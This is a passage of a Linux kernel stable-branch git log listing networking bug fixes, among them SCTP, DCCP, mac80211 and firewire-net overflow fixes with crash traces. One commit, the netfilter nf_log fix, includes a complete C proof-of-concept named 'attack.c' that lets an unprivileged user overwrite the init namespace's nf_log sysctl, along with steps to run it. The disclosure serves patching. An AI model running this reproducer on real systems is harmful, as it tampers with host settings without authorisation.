     * drop A-MSDUs with a multicast A1 (RA), as required by the
       spec in 9.11 (802.11-2012 version)
     * drop A-MSDUs with a 4-addr header, since the fourth address
       can't actually be useful for them; unless 4-address frame
       format is actually requested, even though the fourth address
       is still not useful in this case, but ignored
    
    Accepting the first case, in particular, is very problematic
    since it allows anyone else with possession of a GTK to send
    unicast frames encapsulated in a multicast A-MSDU, even when
    the AP has client isolation enabled.
    
    Signed-off-by: Johannes Berg <johannes.berg@intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 293573d9d0f2e63033011ba4c2c1072d640f45ec
Author: Felix Fietkau <nbd@nbd.name>
Date:   Tue Aug 2 11:13:41 2016 +0200

    mac80211: fix purging multicast PS buffer queue
    
    commit 6b07d9ca9b5363dda959b9582a3fc9c0b89ef3b5 upstream.
    
    The code currently assumes that buffered multicast PS frames don't have
    a pending ACK frame for tx status reporting.
    However, hostapd sends a broadcast deauth frame on teardown for which tx
    status is requested. This can lead to the "Have pending ack frames"
    warning on module reload.
    Fix this by using ieee80211_free_txskb/ieee80211_purge_tx_queue.
    
    Signed-off-by: Felix Fietkau <nbd@nbd.name>
    Signed-off-by: Johannes Berg <johannes.berg@intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3816ef445e2b4762c6242b672b5bf72ec2bed7a9
Author: Stephen Suryaputra Lin <stephen.suryaputra.lin@gmail.com>
Date:   Thu Nov 10 11:16:15 2016 -0500

    ipv4: use new_gw for redirect neigh lookup
    
    commit 969447f226b451c453ddc83cac6144eaeac6f2e3 upstream.
    
    In v2.6, ip_rt_redirect() calls arp_bind_neighbour() which returns 0
    and then the state of the neigh for the new_gw is checked. If the state
    isn't valid then the redirected route is deleted. This behavior is
    maintained up to v3.5.7 by check_peer_redirect() because rt->rt_gateway
    is assigned to peer->redirect_learned.a4 before calling
    ipv4_neigh_lookup().
    
    After commit 5943634fc559 ("ipv4: Maintain redirect and PMTU info in
    struct rtable again."), ipv4_neigh_lookup() is performed without the
    rt_gateway assigned to the new_gw. In the case when rt_gateway (old_gw)
    isn't zero, the function uses it as the key. The neigh is most likely
    valid since the old_gw is the one that sends the ICMP redirect message.
    Then the new_gw is assigned to fib_nh_exception. The problem is: the
    new_gw ARP may never gets resolved and the traffic is blackholed.
    
    So, use the new_gw for neigh lookup.
    
    Changes from v1:
     - use __ipv4_neigh_lookup instead (per Eric Dumazet).
    
    Fixes: 5943634fc559 ("ipv4: Maintain redirect and PMTU info in struct rtable again.")
    Signed-off-by: Stephen Suryaputra Lin <ssurya@ieee.org>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4d4c1fc6258af913f0a9a9595f2385e58f9f1d9a
Author: WANG Cong <xiyou.wangcong@gmail.com>
Date:   Wed Sep 24 17:07:53 2014 -0700

    neigh: check error pointer instead of NULL for ipv4_neigh_lookup()
    
    commit 2c1a4311b61072afe2309d4152a7993e92caa41c upstream.
    
    Fixes: commit f187bc6efb7250afee0e2009b6106 ("ipv4: No need to set generic neighbour pointer")
    Cc: David S. Miller <davem@davemloft.net>
    Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5b97e5f348cf50af84ca008f930d0e4259026bbc
Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Date:   Thu Nov 3 17:03:41 2016 -0200

    sctp: assign assoc_id earlier in __sctp_connect
    
    commit 7233bc84a3aeda835d334499dc00448373caf5c0 upstream.
    
    sctp_wait_for_connect() currently already holds the asoc to keep it
    alive during the sleep, in case another thread release it. But Andrey
    Konovalov and Dmitry Vyukov reported an use-after-free in such
    situation.
    
    Problem is that __sctp_connect() doesn't get a ref on the asoc and will
    do a read on the asoc after calling sctp_wait_for_connect(), but by then
    another thread may have closed it and the _put on sctp_wait_for_connect
    will actually release it, causing the use-after-free.
    
    Fix is, instead of doing the read after waiting for the connect, do it
    before so, and avoid this issue as the socket is still locked by then.
    There should be no issue on returning the asoc id in case of failure as
    the application shouldn't trust on that number in such situations
    anyway.
    
    This issue doesn't exist in sctp_sendmsg() path.
    
    Reported-by: Dmitry Vyukov <dvyukov@google.com>
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
    Reviewed-by: Xin Long <lucien.xin@gmail.com>
    Acked-by: Neil Horman <nhorman@tuxdriver.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 261def571d19d3b4e2228643c5c0ac89f5e10d15
Author: Eric Dumazet <edumazet@google.com>
Date:   Wed Nov 2 19:00:40 2016 -0700

    dccp: fix out of bound access in dccp_v4_err()
    
    commit 6706a97fec963d6cb3f7fc2978ec1427b4651214 upstream.
    
    dccp_v4_err() does not use pskb_may_pull() and might access garbage.
    
    We only need 4 bytes at the beginning of the DCCP header, like TCP,
    so the 8 bytes pulled in icmp_socket_deliver() are more than enough.
    
    This patch might allow to process more ICMP messages, as some routers
    are still limiting the size of reflected bytes to 28 (RFC 792), instead
    of extended lengths (RFC 1812 4.3.2.3)
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7507bf351090d32ad774960571a0c9c4cf3cd649
Author: Eric Dumazet <edumazet@google.com>
Date:   Wed Nov 2 18:04:24 2016 -0700

    dccp: do not send reset to already closed sockets
    
    commit 346da62cc186c4b4b1ac59f87f4482b47a047388 upstream.
    
    Andrey reported following warning while fuzzing with syzkaller
    
    WARNING: CPU: 1 PID: 21072 at net/dccp/proto.c:83 dccp_set_state+0x229/0x290
    Kernel panic - not syncing: panic_on_warn set ...
    
    CPU: 1 PID: 21072 Comm: syz-executor Not tainted 4.9.0-rc1+ #293
    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
     ffff88003d4c7738 ffffffff81b474f4 0000000000000003 dffffc0000000000
     ffffffff844f8b00 ffff88003d4c7804 ffff88003d4c7800 ffffffff8140c06a
     0000000041b58ab3 ffffffff8479ab7d ffffffff8140beae ffffffff8140cd00
    Call Trace:
     [<     inline     >] __dump_stack lib/dump_stack.c:15
     [<ffffffff81b474f4>] dump_stack+0xb3/0x10f lib/dump_stack.c:51
     [<ffffffff8140c06a>] panic+0x1bc/0x39d kernel/panic.c:179
     [<ffffffff8111125c>] __warn+0x1cc/0x1f0 kernel/panic.c:542
     [<ffffffff8111144c>] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585
     [<ffffffff8389e5d9>] dccp_set_state+0x229/0x290 net/dccp/proto.c:83
     [<ffffffff838a0aa2>] dccp_close+0x612/0xc10 net/dccp/proto.c:1016
     [<ffffffff8316bf1f>] inet_release+0xef/0x1c0 net/ipv4/af_inet.c:415
     [<ffffffff82b6e89e>] sock_release+0x8e/0x1d0 net/socket.c:570
     [<ffffffff82b6e9f6>] sock_close+0x16/0x20 net/socket.c:1017
     [<ffffffff815256ad>] __fput+0x29d/0x720 fs/file_table.c:208
     [<ffffffff81525bb5>] ____fput+0x15/0x20 fs/file_table.c:244
     [<ffffffff811727d8>] task_work_run+0xf8/0x170 kernel/task_work.c:116
     [<     inline     >] exit_task_work include/linux/task_work.h:21
     [<ffffffff8111bc53>] do_exit+0x883/0x2ac0 kernel/exit.c:828
     [<ffffffff811221fe>] do_group_exit+0x10e/0x340 kernel/exit.c:931
     [<ffffffff81143c94>] get_signal+0x634/0x15a0 kernel/signal.c:2307
     [<ffffffff81054aad>] do_signal+0x8d/0x1a30 arch/x86/kernel/signal.c:807
     [<ffffffff81003a05>] exit_to_usermode_loop+0xe5/0x130
    arch/x86/entry/common.c:156
     [<     inline     >] prepare_exit_to_usermode arch/x86/entry/common.c:190
     [<ffffffff81006298>] syscall_return_slowpath+0x1a8/0x1e0
    arch/x86/entry/common.c:259
     [<ffffffff83fc1a62>] entry_SYSCALL_64_fastpath+0xc0/0xc2
    Dumping ftrace buffer:
       (ftrace buffer empty)
    Kernel Offset: disabled
    
    Fix this the same way we did for TCP in commit 565b7b2d2e63
    ("tcp: do not send reset to already closed sockets")
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 985f2772eea323edb7f6a6ba4195b4fd9f26cb4c
Author: Eric Dumazet <edumazet@google.com>
Date:   Sat Oct 29 11:02:36 2016 -0700

    net: mangle zero checksum in skb_checksum_help()
    
    commit 4f2e4ad56a65f3b7d64c258e373cb71e8d2499f4 upstream.
    
    Sending zero checksum is ok for TCP, but not for UDP.
    
    UDPv6 receiver should by default drop a frame with a 0 checksum,
    and UDPv4 would not verify the checksum and might accept a corrupted
    packet.
    
    Simply replace such checksum by 0xffff, regardless of transport.
    
    This error was caught on SIT tunnels, but seems generic.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Cc: Maciej Żenczykowski <maze@google.com>
    Cc: Willem de Bruijn <willemb@google.com>
    Acked-by: Maciej Żenczykowski <maze@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 9385be2ecff711df54a29af142efbf7391fbb37c
Author: Eric Dumazet <edumazet@google.com>
Date:   Fri Oct 28 13:40:24 2016 -0700

    net: clear sk_err_soft in sk_clone_lock()
    
    commit e551c32d57c88923f99f8f010e89ca7ed0735e83 upstream.
    
    At accept() time, it is possible the parent has a non zero
    sk_err_soft, leftover from a prior error.
    
    Make sure we do not leave this value in the child, as it
    makes future getsockopt(SO_ERROR) calls quite unreliable.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Acked-by: Soheil Hassas Yeganeh <soheil@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0058a4c1b6209f86a29c4ecbca7e3ed55544d3b0
Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Date:   Tue Oct 25 14:27:39 2016 -0200

    sctp: validate chunk len before actually using it
    
    commit bf911e985d6bbaa328c20c3e05f4eb03de11fdd6 upstream.
    
    Andrey Konovalov reported that KASAN detected that SCTP was using a slab
    beyond the boundaries. It was caused because when handling out of the
    blue packets in function sctp_sf_ootb() it was checking the chunk len
    only after already processing the first chunk, validating only for the
    2nd and subsequent ones.
    
    The fix is to just move the check upwards so it's also validated for the
    1st chunk.
    
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
    Reviewed-by: Xin Long <lucien.xin@gmail.com>
    Acked-by: Neil Horman <nhorman@tuxdriver.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 2b8ed05b145d934b5679f3c224e0d959ef20fa5b
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Fri Oct 21 14:13:24 2016 +0200

    net: sctp, forbid negative length
    
    commit a4b8e71b05c27bae6bad3bdecddbc6b68a3ad8cf upstream.
    
    Most of getsockopt handlers in net/sctp/socket.c check len against
    sizeof some structure like:
            if (len < sizeof(int))
                    return -EINVAL;
    
    On the first look, the check seems to be correct. But since len is int
    and sizeof returns size_t, int gets promoted to unsigned size_t too. So
    the test returns false for negative lengths. Yes, (-1 < sizeof(long)) is
    false.
    
    Fix this in sctp by explicitly checking len < 0 before any getsockopt
    handler is called.
    
    Note that sctp_getsockopt_events already handled the negative case.
    Since we added the < 0 check elsewhere, this one can be removed.
    
    If not checked, this is the result:
    UBSAN: Undefined behaviour in ../mm/page_alloc.c:2722:19
    shift exponent 52 is too large for 32-bit type 'int'
    CPU: 1 PID: 24535 Comm: syz-executor Not tainted 4.8.1-0-syzkaller #1
    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.1-0-gb3ef39f-prebuilt.qemu-project.org 04/01/2014
     0000000000000000 ffff88006d99f2a8 ffffffffb2f7bdea 0000000041b58ab3
     ffffffffb4363c14 ffffffffb2f7bcde ffff88006d99f2d0 ffff88006d99f270
     0000000000000000 0000000000000000 0000000000000034 ffffffffb5096422
    Call Trace:
     [<ffffffffb3051498>] ? __ubsan_handle_shift_out_of_bounds+0x29c/0x300
    ...
     [<ffffffffb273f0e4>] ? kmalloc_order+0x24/0x90
     [<ffffffffb27416a4>] ? kmalloc_order_trace+0x24/0x220
     [<ffffffffb2819a30>] ? __kmalloc+0x330/0x540
     [<ffffffffc18c25f4>] ? sctp_getsockopt_local_addrs+0x174/0xca0 [sctp]
     [<ffffffffc18d2bcd>] ? sctp_getsockopt+0x10d/0x1b0 [sctp]
     [<ffffffffb37c1219>] ? sock_common_getsockopt+0xb9/0x150
     [<ffffffffb37be2f5>] ? SyS_getsockopt+0x1a5/0x270
    
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Cc: Vlad Yasevich <vyasevich@gmail.com>
    Cc: Neil Horman <nhorman@tuxdriver.com>
    Cc: "David S. Miller" <davem@davemloft.net>
    Cc: linux-sctp@vger.kernel.org
    Cc: netdev@vger.kernel.org
    Acked-by: Neil Horman <nhorman@tuxdriver.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5e6212f76e78dacb9d3a6f8c50500fd0bb820229
Author: Anoob Soman <anoob.soman@citrix.com>
Date:   Wed Oct 5 15:12:54 2016 +0100

    packet: call fanout_release, while UNREGISTERING a netdev
    
    commit 6664498280cf17a59c3e7cf1a931444c02633ed1 upstream.
    
    If a socket has FANOUT sockopt set, a new proto_hook is registered
    as part of fanout_add(). When processing a NETDEV_UNREGISTER event in
    af_packet, __fanout_unlink is called for all sockets, but prot_hook which was
    registered as part of fanout_add is not removed. Call fanout_release, on a
    NETDEV_UNREGISTER, which removes prot_hook and removes fanout from the
    fanout_list.
    
    This fixes BUG_ON(!list_empty(&dev->ptype_specific)) in netdev_run_todo()
    
    Signed-off-by: Anoob Soman <anoob.soman@citrix.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 2943dca4f33d22a9e1681e7e5a20786787c4adc5
Author: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
Date:   Sun Sep 25 23:08:31 2016 +0200

    ipmr, ip6mr: fix scheduling while atomic and a deadlock with ipmr_get_route
    
    commit 2cf750704bb6d7ed8c7d732e071dd1bc890ea5e8 upstream.
    
    Since the commit below the ipmr/ip6mr rtnl_unicast() code uses the portid
    instead of the previous dst_pid which was copied from in_skb's portid.
    Since the skb is new the portid is 0 at that point so the packets are sent
    to the kernel and we get scheduling while atomic or a deadlock (depending
    on where it happens) by trying to acquire rtnl two times.
    Also since this is RTM_GETROUTE, it can be triggered by a normal user.
    
    Here's the sleeping while atomic trace:
    [ 7858.212557] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:620
    [ 7858.212748] in_atomic(): 1, irqs_disabled(): 0, pid: 0, name: swapper/0
    [ 7858.212881] 2 locks held by swapper/0/0:
    [ 7858.213013]  #0:  (((&mrt->ipmr_expire_timer))){+.-...}, at: [<ffffffff810fbbf5>] call_timer_fn+0x5/0x350
    [ 7858.213422]  #1:  (mfc_unres_lock){+.....}, at: [<ffffffff8161e005>] ipmr_expire_process+0x25/0x130
    [ 7858.213807] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.8.0-rc7+ #179
    [ 7858.213934] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014
    [ 7858.214108]  0000000000000000 ffff88005b403c50 ffffffff813a7804 0000000000000000
    [ 7858.214412]  ffffffff81a1338e ffff88005b403c78 ffffffff810a4a72 ffffffff81a1338e
    [ 7858.214716]  000000000000026c 0000000000000000 ffff88005b403ca8 ffffffff810a4b9f
    [ 7858.215251] Call Trace:
    [ 7858.215412]  <IRQ>  [<ffffffff813a7804>] dump_stack+0x85/0xc1
    [ 7858.215662]  [<ffffffff810a4a72>] ___might_sleep+0x192/0x250
    [ 7858.215868]  [<ffffffff810a4b9f>] __might_sleep+0x6f/0x100
    [ 7858.216072]  [<ffffffff8165bea3>] mutex_lock_nested+0x33/0x4d0
    [ 7858.216279]  [<ffffffff815a7a5f>] ? netlink_lookup+0x25f/0x460
    [ 7858.216487]  [<ffffffff8157474b>] rtnetlink_rcv+0x1b/0x40
    [ 7858.216687]  [<ffffffff815a9a0c>] netlink_unicast+0x19c/0x260
    [ 7858.216900]  [<ffffffff81573c70>] rtnl_unicast+0x20/0x30
    [ 7858.217128]  [<ffffffff8161cd39>] ipmr_destroy_unres+0xa9/0xf0
    [ 7858.217351]  [<ffffffff8161e06f>] ipmr_expire_process+0x8f/0x130
    [ 7858.217581]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.217785]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.217990]  [<ffffffff810fbc95>] call_timer_fn+0xa5/0x350
    [ 7858.218192]  [<ffffffff810fbbf5>] ? call_timer_fn+0x5/0x350
    [ 7858.218415]  [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
    [ 7858.218656]  [<ffffffff810fde10>] run_timer_softirq+0x260/0x640
    [ 7858.218865]  [<ffffffff8166379b>] ? __do_softirq+0xbb/0x54f
    [ 7858.219068]  [<ffffffff816637c8>] __do_softirq+0xe8/0x54f
    [ 7858.219269]  [<ffffffff8107a948>] irq_exit+0xb8/0xc0
    [ 7858.219463]  [<ffffffff81663452>] smp_apic_timer_interrupt+0x42/0x50
    [ 7858.219678]  [<ffffffff816625bc>] apic_timer_interrupt+0x8c/0xa0
    [ 7858.219897]  <EOI>  [<ffffffff81055f16>] ? native_safe_halt+0x6/0x10
    [ 7858.220165]  [<ffffffff810d64dd>] ? trace_hardirqs_on+0xd/0x10
    [ 7858.220373]  [<ffffffff810298e3>] default_idle+0x23/0x190
    [ 7858.220574]  [<ffffffff8102a20f>] arch_cpu_idle+0xf/0x20
    [ 7858.220790]  [<ffffffff810c9f8c>] default_idle_call+0x4c/0x60
    [ 7858.221016]  [<ffffffff810ca33b>] cpu_startup_entry+0x39b/0x4d0
    [ 7858.221257]  [<ffffffff8164f995>] rest_init+0x135/0x140
    [ 7858.221469]  [<ffffffff81f83014>] start_kernel+0x50e/0x51b
    [ 7858.221670]  [<ffffffff81f82120>] ? early_idt_handler_array+0x120/0x120
    [ 7858.221894]  [<ffffffff81f8243f>] x86_64_start_reservations+0x2a/0x2c
    [ 7858.222113]  [<ffffffff81f8257c>] x86_64_start_kernel+0x13b/0x14a
    
    Fixes: 2942e9005056 ("[RTNETLINK]: Use rtnl_unicast() for rtnetlink unicasts")
    Signed-off-by: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 9864f15313b53fa101348e0b61dbe6277805b33e
Author: Eric Dumazet <edumazet@google.com>
Date:   Thu Sep 15 08:48:46 2016 -0700

    net: avoid sk_forward_alloc overflows
    
    commit 20c64d5cd5a2bdcdc8982a06cb05e5e1bd851a3d upstream.
    
    A malicious TCP receiver, sending SACK, can force the sender to split
    skbs in write queue and increase its memory usage.
    
    Then, when socket is closed and its write queue purged, we might
    overflow sk_forward_alloc (It becomes negative)
    
    sk_mem_reclaim() does nothing in this case, and more than 2GB
    are leaked from TCP perspective (tcp_memory_allocated is not changed)
    
    Then warnings trigger from inet_sock_destruct() and
    sk_stream_kill_queues() seeing a not zero sk_forward_alloc
    
    All TCP stack can be stuck because TCP is under memory pressure.
    
    A simple fix is to preemptively reclaim from sk_mem_uncharge().
    
    This makes sure a socket wont have more than 2 MB forward allocated,
    after burst and idle period.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a5b79829a441e6240b56f589c0fb003876b30126
Author: Eric Dumazet <edumazet@google.com>
Date:   Fri May 15 12:39:25 2015 -0700

    net: fix sk_mem_reclaim_partial()
    
    commit 1a24e04e4b50939daa3041682b38b82c896ca438 upstream.
    
    sk_mem_reclaim_partial() goal is to ensure each socket has
    one SK_MEM_QUANTUM forward allocation. This is needed both for
    performance and better handling of memory pressure situations in
    follow up patches.
    
    SK_MEM_QUANTUM is currently a page, but might be reduced to 4096 bytes
    as some arches have 64KB pages.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4c1307b232a55552e69cb1a367cc6f97a4991f62
Author: Oliver Hartkopp <socketcan@hartkopp.net>
Date:   Mon Oct 24 21:11:26 2016 +0200

    can: bcm: fix warning in bcm_connect/proc_register
    
    commit deb507f91f1adbf64317ad24ac46c56eeccfb754 upstream.
    
    Andrey Konovalov reported an issue with proc_register in bcm.c.
    As suggested by Cong Wang this patch adds a lock_sock() protection and
    a check for unsuccessful proc_create_data() in bcm_connect().
    
    Reference: http://marc.info/?l=linux-netdev&m=147732648731237
    
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Suggested-by: Cong Wang <xiyou.wangcong@gmail.com>
    Signed-off-by: Oliver Hartkopp <socketcan@hartkopp.net>
    Acked-by: Cong Wang <xiyou.wangcong@gmail.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Signed-off-by: Marc Kleine-Budde <mkl@pengutronix.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b53cc178e2a88c7f10213269ba111bda4d4a77b7
Author: Jann Horn <jann@thejh.net>
Date:   Sun Sep 18 21:40:55 2016 +0200

    netfilter: fix namespace handling in nf_log_proc_dostring
    
    commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
    
    nf_log_proc_dostring() used current's network namespace instead of the one
    corresponding to the sysctl file the write was performed on. Because the
    permission check happens at open time and the nf_log files in namespaces
    are accessible for the namespace owner, this can be abused by an
    unprivileged user to effectively write to the init namespace's nf_log
    sysctls.
    
    Stash the "struct net *" in extra2 - data and extra1 are already used.
    
    Repro code:
    
    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <sched.h>
    #include <err.h>
    #include <sys/mount.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    
    char child_stack[1000000];
    
    uid_t outer_uid;
    gid_t outer_gid;
    int stolen_fd = -1;
    
    void writefile(char *path, char *buf) {
            int fd = open(path, O_WRONLY);
            if (fd == -1)
                    err(1, "unable to open thing");
            if (write(fd, buf, strlen(buf)) != strlen(buf))
                    err(1, "unable to write thing");
            close(fd);
    }
    
    int child_fn(void *p_) {
            if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                      NULL))
                    err(1, "mount");
    
            /* Yes, we need to set the maps for the net sysctls to recognize us
             * as namespace root.
             */
            char buf[1000];
            sprintf(buf, "0 %d 1\n", (int)outer_uid);
            writefile("/proc/1/uid_map", buf);
            writefile("/proc/1/setgroups", "deny");
            sprintf(buf, "0 %d 1\n", (int)outer_gid);
            writefile("/proc/1/gid_map", buf);
    
            stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
            if (stolen_fd == -1)
                    err(1, "open nf_log");
            return 0;
    }
    
    int main(void) {
            outer_uid = getuid();
            outer_gid = getgid();
    
            int child = clone(child_fn, child_stack + sizeof(child_stack),
                              CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                              |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
            if (child == -1)
                    err(1, "clone");
            int status;
            if (wait(&status) != child)
                    err(1, "wait");
            if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                    errx(1, "child exit status bad");
    
            char *data = "NONE";
            if (write(stolen_fd, data, strlen(data)) != strlen(data))
                    err(1, "write");
            return 0;
    }
    
    Repro:
    
    $ gcc -Wall -o attack attack.c -std=gnu99
    $ cat /proc/sys/net/netfilter/nf_log/2
    nf_log_ipv4
    $ ./attack
    $ cat /proc/sys/net/netfilter/nf_log/2
    NONE
    
    Because this looks like an issue with very low severity, I'm sending it to
    the public list directly.
    
    Signed-off-by: Jann Horn <jann@thejh.net>
    Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3ca5f4958d9f97dd87ac1e19dbc0fb7e887fd199
Author: Stefan Richter <stefanr@s5r6.in-berlin.de>
Date:   Sun Oct 30 17:32:01 2016 +0100

    firewire: net: fix fragmented datagram_size off-by-one
    
    commit e9300a4b7bbae83af1f7703938c94cf6dc6d308f upstream.
    
    RFC 2734 defines the datagram_size field in fragment encapsulation
    headers thus:
    
        datagram_size:  The encoded size of the entire IP datagram.  The
        value of datagram_size [...] SHALL be one less than the value of
        Total Length in the datagram's IP header (see STD 5, RFC 791).
    
    Accordingly, the eth1394 driver of Linux 2.6.36 and older set and got
    this field with a -/+1 offset:
    
        ether1394_tx() /* transmit */
            ether1394_encapsulate_prep()
                hdr->ff.dg_size = dg_size - 1;
    
        ether1394_data_handler() /* receive */
            if (hdr->common.lf == ETH1394_HDR_LF_FF)
                dg_size = hdr->ff.dg_size + 1;
            else
                dg_size = hdr->sf.dg_size + 1;
    
    Likewise, I observe OS X 10.4 and Windows XP Pro SP3 to transmit 1500
    byte sized datagrams in fragments with datagram_size=1499 if link
    fragmentation is required.
    
    Only firewire-net sets and gets datagram_size without this offset.  The
    result is lacking interoperability of firewire-net with OS X, Windows
    XP, and presumably Linux' eth1394.  (I did not test with the latter.)
    For example, FTP data transfers to a Linux firewire-net box with max_rec
    smaller than the 1500 bytes MTU
      - from OS X fail entirely,
      - from Win XP start out with a bunch of fragmented datagrams which
        time out, then continue with unfragmented datagrams because Win XP
        temporarily reduces the MTU to 576 bytes.
    
    So let's fix firewire-net's datagram_size accessors.
    
    Note that firewire-net thereby loses interoperability with unpatched
    firewire-net, but only if link fragmentation is employed.  (This happens
    with large broadcast datagrams, and with large datagrams on several
    FireWire CardBus cards with smaller max_rec than equivalent PCI cards,
    and it can be worked around by setting a small enough MTU.)
    
    Signed-off-by: Stefan Richter <stefanr@s5r6.in-berlin.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1d4353bd493f62889983bd712086b09235a44c25
Author: Stefan Richter <stefanr@s5r6.in-berlin.de>
Date:   Sat Oct 29 21:28:18 2016 +0200

    firewire: net: guard against rx buffer overflows
    
    commit 667121ace9dbafb368618dbabcf07901c962ddac upstream.
    
    The IP-over-1394 driver firewire-net lacked input validation when
    handling incoming fragmented datagrams.  A maliciously formed fragment
    with a respectively large datagram_offset would cause a memcpy past the
    datagram buffer.
    
    So, drop any packets carrying a fragment with offset + length larger
    than datagram_size.
    
    In addition, ensure that
      - GASP header, unfragmented encapsulation header, or fragment
        encapsulation header actually exists before we access it,
      - the encapsulated datagram or fragment is of nonzero size.
    
    Reported-by: Eyal Itkin <eyal.itkin@gmail.com>
    Reviewed-by: Eyal Itkin <eyal.itkin@gmail.com>
    Fixes: CVE 2016-8633
    Signed-off-by: Stefan Richter <stefanr@s5r6.in-berlin.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit afe6ced9adca522e8f5e8e64175257d421ba99f5
Author: Jack Morgenstein <jackm@dev.mellanox.co.il>
Date:   Wed Mar 2 17:47:46 2016 +0200

    net/mlx4_core: Allow resetting VF admin mac to zero
    
    commit 6e5224224faa50ec4c8949dcefadf895e565f0d1 upstream.
    
    The VF administrative mac addresses (stored in the PF driver) are
    initialized to zero when the PF driver starts up.
    
    These addresses may be modified in the PF driver through ndo calls
    initiated by iproute2 or libvirt.
    
    While we allow the PF/host to change the VF admin mac address from zero
    to a valid unicast mac, we do not allow restoring the VF admin mac to
    zero. We currently only allow changing this mac to a different unicast mac.
    
    This leads to problems when libvirt scripts are used to deal with
    VF mac addresses, and libvirt attempts to revoke the mac so this
    host will not use it anymore.
    
    Fix this by allowing resetting a VF administrative MAC back to zero.
    
    Fixes: 8f7ba3ca12f6 ('net/mlx4: Add set VF mac address support')
    Signed-off-by: Jack Morgenstein <jackm@dev.mellanox.co.il>
    Reported-by: Moshe Levi <moshele@mellanox.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Juerg Haefliger <juerg.haefliger@hpe.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3a8930fd9cbb0e7cc1ea0a8a4a75920220e036ad
Author: Liu ShuoX <shuox.liu@intel.com>
Date:   Wed Mar 12 21:24:44 2014 +0800

    pstore: Fix buffer overflow while write offset equal to buffer size
    
    commit 017321cf390045dd4c4afc4a232995ea50bcf66d upstream.
    
    In case new offset is equal to prz->buffer_size, it won't wrap at this
    time and will return old(overflow) value next time.
    
    Signed-off-by: Liu ShuoX <shuox.liu@intel.com>
    Acked-by: Kees Cook <keescook@chromium.org>
    Signed-off-by: Tony Luck <tony.luck@intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ec38771b3fe78a386577905bbbd71b1bf8bde860
